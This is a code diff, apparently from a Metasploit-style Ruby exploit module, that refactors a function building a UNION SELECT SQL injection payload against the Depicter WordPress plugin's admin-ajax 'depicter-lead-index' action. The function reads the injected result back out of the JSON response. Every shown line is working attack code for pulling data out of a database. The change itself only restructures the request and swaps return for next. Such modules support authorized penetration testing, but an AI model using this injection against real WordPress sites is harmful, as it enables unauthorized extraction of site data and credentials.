@@ -60,27 +60,26 @@ def get_sqli_object
60
60
r1 , r2 , r3 , r4 , r5 = Array . new ( 5 ) { rand ( 1000 ..9999 ) }
61
61
injected = "#{ r1 } ') UNION SELECT #{ r2 } ,#{ r3 } ,(#{ expr } ),#{ r4 } ,#{ r5 } -- -"
62
62
63
- endpoint = normalize_uri ( 'wp-admin' , 'admin-ajax.php' )
64
- params = {
65
- 'action' => 'depicter-lead-index' ,
66
- 's' => injected ,
67
- 'perpage' => rand ( 10 ..50 ) . to_s ,
68
- 'page' => rand ( 1 ..3 ) . to_s ,
69
- 'orderBy' => 'source_id' ,
70
- 'order' => [ 'ASC' , 'DESC' ] . sample ,
71
- 'dateStart' => '' ,
72
- 'dateEnd' => '' ,
73
- 'sources' => ''
74
- }
75
63
res = send_request_cgi (
76
64
'method' => 'GET' ,
77
- 'uri' => endpoint ,
78
- 'vars_get' => params
65
+ 'uri' => normalize_uri ( 'wp-admin' , 'admin-ajax.php' ) ,
66
+ 'vars_get' => {
67
+ 'action' => 'depicter-lead-index' ,
68
+ 's' => injected ,
69
+ 'perpage' => rand ( 10 ..50 ) . to_s ,
70
+ 'page' => rand ( 1 ..3 ) . to_s ,
71
+ 'orderBy' => 'source_id' ,
72
+ 'order' => [ 'ASC' , 'DESC' ] . sample ,
73
+ 'dateStart' => '' ,
74
+ 'dateEnd' => '' ,
75
+ 'sources' => ''
76
+ }
79
77
)
80
- return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res &.code == 200
78
+
79
+ next GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res &.code == 200
81
80
82
81
extracted = res . get_json_document . dig ( 'hits' , 0 , 'content' , 'id' )
83
- return GET_SQLI_OBJECT_FAILED_ERROR_MSG if extracted . to_s . empty?
82
+ next GET_SQLI_OBJECT_FAILED_ERROR_MSG if extracted . to_s . empty?
84
83
85
84
extracted
86
85
end
0 commit comments